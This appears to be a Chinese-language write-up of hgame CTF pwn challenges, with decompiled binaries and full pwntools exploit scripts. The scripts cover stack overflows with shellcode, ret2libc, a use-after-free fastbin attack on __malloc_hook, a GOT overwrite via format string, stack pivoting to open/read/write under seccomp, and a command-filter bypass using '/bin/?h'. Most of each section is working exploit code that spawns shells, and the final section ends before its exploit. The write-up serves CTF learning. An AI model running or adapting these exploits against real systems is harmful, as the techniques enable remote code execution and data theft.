休闲休闲
Hard_AAAAA Description:
无脑AAA太无聊了,挑战更高难度的无脑AAA! nc 47.103.214.163 20000
Solution: 满足条件即可,有后门的,主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char s; char v5; unsigned int v6; int *v7; v7 = &argc; v6 = __readgsdword(0x14 u); alarm(8u ); setbuf(_bss_start, 0 ); memset (&s, 0 , 0xA0 u); puts ("Let's 0O0o\\0O0!" ); gets(&s); if ( !memcmp ("0O0o" , &v5, 7u ) ) backdoor(); return 0 ; }
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *debug = 1 context(arch="i386" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./Hard_AAAAA' ) else : p = remote('47.103.214.163' , 20000 ) pd = 'a' * 0x7b pd += '0O0o\x00O0' p.sendlineafter('Let\'s 0O0o\\0O0!\n' , pd) p.interactive()
Flag:
Number_Killer Description:
看起来人畜无害的一些整数也能秒我?(吃惊) nc 47.103.214.163 20001
Solution: 主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v4[11 ]; int i; setvbuf(_bss_start, 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 2 , 0L L); memset (v4, 0 , 0x50 uLL); puts ("Let's Pwn me with numbers!" ); for ( i = 0 ; i <= 19 ; ++i ) v4[i] = readll(); return 0 ; }
可以看到有数组溢出漏洞,所以编写 shellcode 即可,readall 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 readll () { char nptr[8 ]; __int64 v2; int v3; int v4; int i; *(_QWORD *)nptr = 0L L; v2 = 0L L; v3 = 0 ; v4 = 0 ; for ( i = 0 ; read(0 , &nptr[i], 1u LL) > 0 && i <= 19 && nptr[i] != 10 ; ++i ); return atoll(nptr); }
最后写入的 shellcode 会被转换为数字,所以我们每次传入的 shellcode 的末尾不能超过 \x7f
自己手写 shellcode 就完了,注意末尾字节即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./Number_Killer' ) else : p = remote('47.103.214.163' , 20001 ) rop_jmp_rsp = 0x40078a p.sendlineafter("Let's Pwn me with numbers!\n" , '\x00' ) for i in range(1 , 12 ): p.sendline(str(0xcffffffff )) p.sendline(str(rop_jmp_rsp)) p.sendline(str(u64('\x48\x31\xc9\x48\xbb\x2f\x2f\x62' ))) p.sendline(str(u64('\x69\x6e\x2f\x73\x68\x48\x89\x1f' ))) p.sendline(str(u64('\x48\x31\xdb\xb8\x3b\x00\x00\x00' ))) p.sendline(str(u64('\x0f\x05' .ljust(8 , '\x00' )))) for i in range(17 , 18 ): p.sendline(str(0 )) p.sendline(str(0 )) p.interactive()
Flag: 1 hgame{Ea2y_2hel1c0de_1n_St4ck}
One_Shot Description:
一发入魂 nc 47.103.214.163 20002
Solution: 这题是把 flag 文件的内容读到 bss 段里了,然后依靠一个字节的覆盖来泄露 flag 即可
主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { _BYTE *v4; int fd[2 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); v4 = 0L L; *fd = open("./flag" , 0 , envp); setbuf(stdout , 0L L); read(fd[0 ], &flag, 0x1E uLL); puts ("Firstly....What's your name?" ); __isoc99_scanf("%32s" , &name); puts ("The thing that could change the world might be a Byte!" ); puts ("Take tne only one shot!" ); __isoc99_scanf("%d" , &v4); *v4 = 1 ; puts ("A success?" ); printf ("Goodbye,%s" , &name); return 0 ; }
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./One_Shot' ) else : p = remote('47.103.214.163' , 20002 ) addr_shot = 0x6010DF p.sendlineafter("Firstly....What's your name?\n" , 'a' * 31 ) p.sendlineafter("Take tne only one shot!\n" , str(addr_shot)) p.recvuntil('\x61\x01' ) p.interactive()
Flag: 1 hgame{On3_Sh0t_0ne_Fl4g}
ROP_LEVEL0 Description:
ROP is PWNers’ romance nc 47.103.214.163 20003
Solution: 简单的 ret2libc,这题的 vuln 函数不给也罢
主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char buf; int v6; int fd[2 ]; memset (&buf, 0 , 0x38 uLL); v6 = 0 ; setbuf(_bss_start, 0L L); v3 = open("./some_life_experience" , 0 ); *(_QWORD *)fd = v3; read(v3, &buf, 0x3C uLL); puts (&buf); read(0 , &buf, 0x100 uLL); return 0 ; }
主函数就有溢出直接用就好了
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *debug = 2 context(arch="amd64" , endian='el' , os="linux" ) if debug == 1 : p = process('./ROP_LEVEL0' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 20003 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./ROP_LEVEL0' , checksec=False ) plt_puts = elf.plt['puts' ] got_puts = elf.got['puts' ] rop_pop_rdi_ret = 0x400753 addr_vuln = 0x400636 pd = 'a' * 0x58 pd += p64(rop_pop_rdi_ret) pd += p64(got_puts) pd += p64(plt_puts) pd += p64(addr_vuln) p.sendafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag\n' , pd) addr_puts = u64(p.recv(6 ).ljust(8 , '\x00' )) libcbase = addr_puts - libc.sym['puts' ] addr_system = libcbase + libc.sym['system' ] addr_bin_sh = libcbase + libc.search('/bin/sh' ).next() pd = 'a' * 0x18 pd += p64(rop_pop_rdi_ret) pd += p64(addr_bin_sh) pd += p64(addr_system) pd += p64(addr_vuln) p.send(pd) p.interactive()
Flag: 1 hgame{R0P_1s_H4cK3rs'_RoM4nC3}
findyourself Description:
baby题有两种,这是第一种,虽然这题名字没有baby nc 47.103.214.163 21000
Solution: 考察命令绕过的题,不常见不常见,主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __cdecl main (int argc, const char **argv, const char **envp) { char s1; char buf; unsigned __int64 v6; v6 = __readfsqword(0x28 u); init(); memset (&buf, 0 , 0x40 uLL); getcwd(&buf, 0x40 uLL); puts ("where are you?" ); read_n(&s1, 0x40 u); if ( strcmp (&s1, &buf) ) { puts ("nonono,not there" ); exit (0 ); } read_n(&s1, 0x14 u); if ( check2(&s1) == -1 ) { puts ("oh,it's not good idea" ); exit (0 ); } close(1 ); close(2 ); system(&s1); return 0 ; }
其中重要的函数是 init 函数、check2 函数和 init 里面的 check1 函数
check2 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 signed __int64 __fastcall check2 (const char *a1) { signed __int64 result; if ( strchr (a1, '*' ) || strstr (a1, "sh" ) || strstr (a1, "cat" ) || strstr (a1, ".." ) || strchr (a1, '&' ) || strchr (a1, '|' ) || strchr (a1, '>' ) || strchr (a1, '<' ) ) { result = 0xFFFFFFFF LL; } else { result = 0L L; } return result; }
这块绕过很简单,用/
和?
绕过就行了,初始化的 init 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned __int64 init () { int buf; int i; int fd; int v4[52 ]; char v5[1008 ]; char s; char command; unsigned __int64 v8; v8 = __readfsqword(0x28 u); setbuf(stdin , 0L L); setbuf(_bss_start, 0L L); fd = open("/dev/urandom" , 0 ); buf = 0 ; read(fd, &buf, 1u LL); buf %= 50 ; if ( fd < 0 ) exit (-1 ); chdir("./tmp" ); for ( i = 0 ; i <= 49 ; ++i ) { read(fd, &v4[i], 4u LL); snprintf (&v5[20 * i], 0x14 uLL, "0x%x" , v4[i]); mkdir(&v5[20 * i], 0x1ED u); } snprintf (&s, 0x16 uLL, "./%s" , &v5[20 * buf]); chdir(&s); puts ("find yourself" ); read_n(&command, 0x19 u); if ( check1(&command) != -1 ) system(&command); return __readfsqword(0x28 u) ^ v8; }
可以看到程序先取了随机数取余,作为下标参数,存储相对应的下标的值到&s
里并将其设置为当前目录
之后可以执行一个系统命令,但要先经过 check1 函数,函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 signed __int64 __fastcall check1 (const char *a1) { signed __int64 result; int i; for ( i = 0 ; i < strlen (a1); ++i ) { if ( (a1[i] <= 96 || a1[i] > 122 ) && (a1[i] <= 64 || a1[i] > 90 ) && a1[i] != '/' && a1[i] != ' ' && a1[i] != '-' ) return 0xFFFFFFFF LL; } if ( strstr (a1, "sh" ) || strstr (a1, "cat" ) || strstr (a1, "flag" ) || strstr (a1, "pwd" ) || strstr (a1, "export" ) ) result = 0xFFFFFFFF LL; else result = 0L L; return result; }
可以看到程序只允许大小写字母以及/
、
和-
的输入
当时我就想这块不是能直接提权吗,就直接输入了setarch athlon
,本机没问题但是远程却不行
想到可能没有这个命令,于是我就用ls -la /bin
查看了一下,只有孤零零的这几个命令:
1 2 3 4 5 6 7 8 9 10 root@lepPwn:~/CTF/Pwn/sad find yourself ls -la /bin total 392 drwxr-xr-x 2 0 0 4096 Jan 22 23:57 . drwxr-x--- 1 0 1000 4096 Jan 25 02:43 .. -rwxr-xr-x 1 0 0 52080 Jan 22 23:57 cat -rwxr-xr-x 1 0 0 126584 Jan 22 23:57 ls -rwxr-xr-x 1 0 0 154072 Jan 22 23:57 sh -rwxr-xr-x 1 0 0 56704 Jan 22 23:57 timeout
这就很烦了,所以之后我选择了去固定选/tmp
文件夹里面的一个目录作为当前目录,看自己有没有欧气能正好对应上,于是乎写了爆破脚本
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *debug = 2 context(arch="amd64" , endian='el' , os="linux" ) while True : try : if debug == 1 : p = process('./fys' ) else : p = remote('47.103.214.163' , 21000 ) p.sendlineafter('find yourself\n' , 'ls -tla /tmp' ) for i in range(0 , 0x10 ): p.recvuntil('\n' ) p.recvuntil('0x' ) pwd = '/tmp/0x' + p.recvuntil('\n' )[:-1 ] p.recvuntil('where ' ) p.sendlineafter('are you?\n' , pwd) info('pwd = ' + pwd) p.recvuntil('nonono,not there\n' , timeout=0.2 ) except EOFError: pd = '/bin/?h' p.sendline(pd) p.sendline("exec 1>&0" ) p.interactive() p.close() break else : p.close() continue
Flag: 1 hgame{You_4re_So_C1EV3R}
Roc826s_Note Description:
不好好学C的话是很容易随手写出PWN题的 nc 47.103.214.163 21002
Solution: 基础堆题,主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; setbuf(stdin , 0L L); setbuf(_bss_start, 0L L); while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v3 = readi(); if ( v3 != 2 ) break ; dele(); } if ( v3 > 2 ) break ; if ( v3 != 1 ) goto LABEL_13; add(); } if ( v3 != 3 ) { if ( v3 == 4 ) exit (0 ); LABEL_13: exit (0 ); } show(); } }
add 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 add () { signed int i; signed int v2; for ( i = 0 ; ; ++i ) { if ( i > 19 ) { puts ("full!" ); return 0L L; } if ( !list [i] ) break ; } puts ("size?" ); v2 = readi(); if ( v2 < 0 || v2 > 0x90 ) { puts ("Invalid size!" ); exit (0 ); } list [i] = malloc (v2); printf ("content:" ); read_n(list [i], v2); puts ("done!" ); return 0L L; }
dele 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 dele () { int v1; puts ("index?" ); v1 = readi(); if ( list [v1] ) { free (list [v1]); puts ("done!" ); } else { puts ("Invalid index!" ); } return 0L L; }
show 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 show () { int v1; puts ("index?" ); v1 = readi(); if ( list [v1] ) { printf ("content:" ); puts (list [v1]); } else { puts ("Invalid index!" ); } return 0L L; }
有 uaf,利用 unsorted bin 泄露 libc,之后修改 __malloc_hook 为 one_gadget 即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./Roc826' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 21002 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./Roc826' , checksec=False ) def add (add_size, add_content) : p.sendlineafter(':' , '1' ) p.sendlineafter('size?\n' , str(add_size)) p.sendlineafter('content:' , add_content) def dele (dele_idx) : p.sendlineafter(':' , '2' ) p.sendlineafter('index?\n' , str(dele_idx)) def show (show_idx) : p.sendlineafter(':' , '3' ) p.sendlineafter('index?\n' , str(show_idx)) p.recvuntil('content:' ) libc_one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] add(0x80 , '' ) add(0x60 , '' ) add(0x60 , '' ) dele(0 ) show(0 ) addr___malloc_hook = u64(p.recv(6 ).ljust(8 , '\x00' )) - 88 - 0x10 libcbase = addr___malloc_hook - libc.sym['__malloc_hook' ] addr_one_gadget = libcbase + libc_one_gadget[3 ] add(0x80 , '' ) dele(1 ) dele(2 ) dele(1 ) add(0x60 , p64(addr___malloc_hook - 0x23 )) add(0x60 , p64(addr___malloc_hook - 0x23 )) add(0x60 , p64(addr___malloc_hook - 0x23 )) add(0x60 , 'a' * 0x13 + p64(addr_one_gadget)) p.sendlineafter(':' , '1' ) p.sendlineafter('size?\n' , '1' ) success('addr___malloc_hook = ' + hex(addr___malloc_hook)) success('libcbase = ' + hex(libcbase)) success('addr_one_gadget = ' + hex(addr_one_gadget)) p.interactive()
Flag: 1 hgame{W3lc0mE_T0_The_D0Or_of_He4p}
Another_Heaven Description:
永遠と呼びたい 君に 出逢えた ことだけは nc 47.103.214.163 21001
Solution: 主程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 int __cdecl main (int argc, const char **argv, const char **envp) { int result; char v4; char v5[12 ]; __int64 v6; __int64 v7; __int64 v8; unsigned __int64 v9; v9 = __readfsqword(0x28 u); v4 = 0 ; *&v5[4 ] = 0L L; v6 = 0L L; v7 = 0L L; v8 = 0L L; init(); puts ("There is a back door...\"Hacked by Annevi!\"" ); *v5 = readi(); read(0 , *v5, 1u LL); puts ("==========================================" ); puts (" ____ " ); puts ("| _ \\ ___ _ __ _ __ | | | |_ _| |__ " ); puts ("| |_) / _ \\| '__| '_ \\| |_| | | | | '_ \\ " ); puts ("| __/ (_) | | | | | | _ | |_| | |_) |" ); puts ("|_| \\___/|_| |_| |_|_| |_|\\__,_|_.__/ " ); puts (&byte_40101A); puts ("==========================================" ); puts (" Login System" ); printf ("Account:" , *v5); read_n(ainput, 32 ); if ( strcmp (ainput, account) ) { puts ("Account Error!" ); exit (0 ); } printf ("Password:" , account); read_n(password, 48 ); if ( !strcmp (password, flag) ) { puts ("Welcome!The emperor Qie!" ); puts ("|Recommended|Hottest|Most Viewed......" ); result = 0 ; } else { puts ("Wrong Password!" ); sleep(1u ); puts ("Forgot your password?(y/n)" ); read_n(&v4, 1 ); if ( v4 != 'y' ) exit (0 ); puts ("Security verification problem:Who is your Wife?" ); read_n(&v5[4 ], 32 ); if ( strncmp (&v5[4 ], s2, 0x30 uLL) ) { puts ("no,no,no!" ); exit (0 ); } puts ("Welcome!The emperor Qie!" ); puts ("Change your password,plz:" ); cpswd(); puts ("|Recommended|Hottest|Most Viewed......" ); result = 0 ; } return result; }
利用一上来的后门改写 strcmp 函数为 printf 函数,之后利用%n
的特性让 printf 返回 0 来绕过 if 检测
最后利用%s
打印 flag 即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./Another_Heaven' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 21001 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./Another_Heaven' , checksec=False ) got_strcmp = elf.got['strcmp' ] plt_printf = elf.plt['printf' ] p.sendlineafter('There is a back door..."Hacked by Annevi!"\n' , str(got_strcmp)) p.send(chr(plt_printf & 0xff )) p.sendlineafter('Account:' , '%n' ) p.sendlineafter('Password:' , '%s' ) p.sendlineafter('Forgot your password?(y/n)\n' , 'n' ) success('got_strcmp = ' + hex(got_strcmp)) success('plt_printf = ' + hex(plt_printf)) p.interactive()
Flag: 1 hgame{VGhlX2Fub3RoZXJfd2F5X3RvX2hlYXZlbg==}
形而上的坏死 Description:
Can you deceive the world?The lonely observer! nc 47.103.214.163 21003
Solution: 主程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 __int64 game () { signed __int64 v0; __int64 v2; __int64 v3; int v4; char v5[160 ]; char v6[8 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); LODWORD(v3) = 0 ; setbuf(stdin , 0L L); setbuf(stdout , 0L L); puts ("这一天,你在路上偶遇了睿智的逆向出题人:The eternal God Y!" ); puts ("只见他拿着一把AWP不知道在那瞄谁。" ); puts ("他发现了你,喜出望外:兄弟,包给你快去下包,我帮你架点!" ); puts ("你要把C4安放在哪里呢?" ); HIDWORD(v3) = readi("你要把C4安放在哪里呢?" , 0L L); read(0 , &v6[8 * HIDWORD(v3)], 8u LL); puts ("the bomb has been planted!" ); getchar(); puts ("a few moments later~" ); puts ("快过年了,正好有一条养了一年多的金枪鱼最近看起来闷闷不乐。" ); puts ("不如把它宰了,吃一顿大餐,你说吼不吼啊!" ); getchar(); printf ("但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:" ); v0 = 48L L; read_n(name, 48L L); puts ("------------------------------------------------------------------" ); puts ("接下来开始切菜,你打算把它切成几段呢?" ); HIDWORD(v2) = readi("接下来开始切菜,你打算把它切成几段呢?" , 48L L); if ( SHIDWORD(v2) > 20 ) { puts ("要被砍成金枪鱼酱了啦!" ); exit (0 ); } puts ("------------------------------------------------------------------" ); puts ( "为了满足每个人不同的口味,每一段都打算用不同的烹饪方法。顺带一提,我喜欢糖醋金枪鱼" ); LODWORD(v2) = 0 ; while ( BYTE4(v2) > v2 ) { printf ("第%d段打算怎么料理呢:" , v2, v2, v3); memset (&v5[8 * v2], 0 , 8u LL); v0 = 8L L; read_n(&v5[8 * v2], 8L L); LODWORD(v2) = v2 + 1 ; } puts ("接下来你打算把剩下的鱼骨头做成标本。" ); sleep(1u ); puts ("-----------------------------------------------------------" ); puts ("| |" ); puts (name); puts ("| |" ); puts ("-----------------------------------------------------------" ); puts ("就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。" ); getchar(); puts ("仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。" ); getchar(); puts ("你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:" ); LODWORD(v3) = readi( "你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:" , v0); puts ("E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win" ); write(1 , &v6[8 * HIDWORD(v3)], 6u LL); puts ("E99p1ant不甘地大喊:啊~~!~?~…____" ); if ( flag1 == 1 ) { read_n(&e99 + 8 * v4, 8L L); puts ("E99p1ant变成了茄酱。" ); flag1 = 0 ; } else { puts ("嗯?!世界线……被改变了,我的Reading Steiner触发了!" ); } return 0L L; }
在 libc 中找能返回起始地址的跳点,之后再改成 one_gadget 即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./Metaphysical_Necrosis' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 21003 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./Metaphysical_Necrosis' , checksec=False ) libc_one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] gdb.attach(p, "b *$rebase(0xC8C)\nb *$rebase(0xF18)\nc" ) p.sendlineafter('你要把C4安放在哪里呢?\n' , str(5 )) p.send('\x16' ) p.sendlineafter('the bomb has been planted!\n' , '' ) p.sendlineafter('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n' , '' ) p.sendlineafter('但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:' , 'bbbb' ) p.sendlineafter('接下来开始切菜,你打算把它切成几段呢?\n' , str(0 )) p.recvuntil('接下来你打算把剩下的鱼骨头做成标本。\n' ) sleep(1 ) p.sendlineafter('就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。\n' , '' ) p.sendlineafter('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n' , '' ) p.sendlineafter('你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:\n' , str(10 )) p.recvuntil('E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win\n' ) addr___libc_start_main = u64(p.recv(6 ).ljust(8 , '\x00' )) - 214 libcbase = addr___libc_start_main - libc.sym['__libc_start_main' ] addr_one_gadget = libcbase + libc_one_gadget[0 ] p.sendlineafter('E99p1ant不甘地大喊:啊~~!~?~…____\n' , 'BBBB' ) p.sendlineafter('你要把C4安放在哪里呢?\n' , str(5 )) p.send(p64(addr_one_gadget)) p.sendlineafter('the bomb has been planted!\n' , '' ) p.sendlineafter('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n' , '' ) p.sendlineafter('但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:' , 'bbbb' ) p.sendlineafter('接下来开始切菜,你打算把它切成几段呢?\n' , str(0 )) p.recvuntil('接下来你打算把剩下的鱼骨头做成标本。\n' ) sleep(1 ) p.sendlineafter('就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。\n' , '' ) p.sendlineafter('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n' , '' ) p.sendlineafter('你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:\n' , str(10 )) p.recvuntil('E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win\n' ) p.sendlineafter('E99p1ant不甘地大喊:啊~~!~?~…____\n' , '/bin/sh\x00' ) success('addr___libc_start_main = ' + hex(addr___libc_start_main)) success('addr_one_gadget = ' + hex(addr_one_gadget)) p.interactive()
Flag: 1 hgame{H4Ck1ng_T0_Th3_G4TE!}
ROP_LEVEL2 Description:
nc 47.103.214.163 20300
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
这题开了沙箱:
1 2 3 4 5 6 7 8 9 10 root@lepPwn:~/CTF/Pwn ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
主程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [rsp+0h] [rbp-50h] int fd[2]; // [rsp+48h] [rbp-8h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); init(); puts("It's just a little bit harder...Do you think so?" ); read (0, &::buf, 0x100uLL); v3 = open("./some_life_experience" , 0); *fd = v3; read (v3, &buf, 0x3CuLL); puts(&buf); read (0, &buf, 0x60uLL); return 0; }
用栈迁移加上 orw 即可,因为程序栈迁移后 rdx 始终为 0x60,所以就不用管 rdx 了
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) if debug == 1 : p = process('./ROP' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 20300 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./ROP' , checksec=False ) plt_open = elf.plt['open' ] plt_read = elf.plt['read' ] plt_puts = elf.plt['puts' ] rop_pop_rdi_ret = 0x400a43 rop_pop_rsi_pop_r15_ret = 0x400a41 rop_leave_ret = 0x40090d addr_bss = 0x6010A0 addr_main = 0x4009BA pd = p64(addr_bss + 0x8 ) pd += p64(rop_pop_rdi_ret) pd += p64(addr_bss + 0x80 ) pd += p64(rop_pop_rsi_pop_r15_ret) pd += p64(0 ) pd += p64(0 ) pd += p64(plt_open) pd += p64(rop_pop_rdi_ret) pd += p64(4 ) pd += p64(rop_pop_rsi_pop_r15_ret) pd += p64(addr_bss - 0x30 ) pd += p64(0x30 ) pd += p64(plt_read) pd += p64(rop_pop_rdi_ret) pd += p64(addr_bss - 0x30 ) pd += p64(plt_puts) pd += '/flag' p.sendafter("It's just a little bit harder...Do you think so?\n" , pd) pd = 'a' * 0x50 pd += p64(addr_bss) pd += p64(rop_leave_ret) p.sendafter('/flag\n\n' , pd) p.interactive()
Flag: 1 hgame{E4sy_St4cK_P1voTing}
Annevi_Note Description:
libc 2.23 nc 47.103.214.163 20301
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; setbuf(stdin , 0L L); setbuf(stdout , 0L L); while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v3 = readi(); if ( v3 != 2 ) break ; dele(); } if ( v3 > 2 ) break ; if ( v3 != 1 ) goto LABEL_13; add(); } if ( v3 == 3 ) { show(); } else { if ( v3 != 4 ) LABEL_13: exit (0 ); edit(); } } }
add 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 add () { signed int i; signed int v2; for ( i = 0 ; ; ++i ) { if ( i > 19 ) { puts ("full!" ); return 0L L; } if ( !list [i] ) break ; } puts ("size?" ); v2 = readi(); if ( v2 <= 0x8F ) { puts ("Invalid size!" ); exit (0 ); } list [i] = malloc (v2); printf ("content:" ); read_n(list [i], v2); puts ("done!" ); return 0L L; }
delete 函数没有 uaf,但是 edit 函数有越界写 hhh,edit 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 edit() { int v1; // [rsp+Ch] [rbp-4h] puts("index?" ); v1 = readi(); if ( list[v1] ) { printf ("content:" ); read_n(list[v1], 0x100); puts("done!" ); } else { puts("Invalid index!" ); } return 0LL; }
所以可以利用 edit 进行 chunk 的改造来实现 unlink 的条件,向后合并就完了
exp如下:
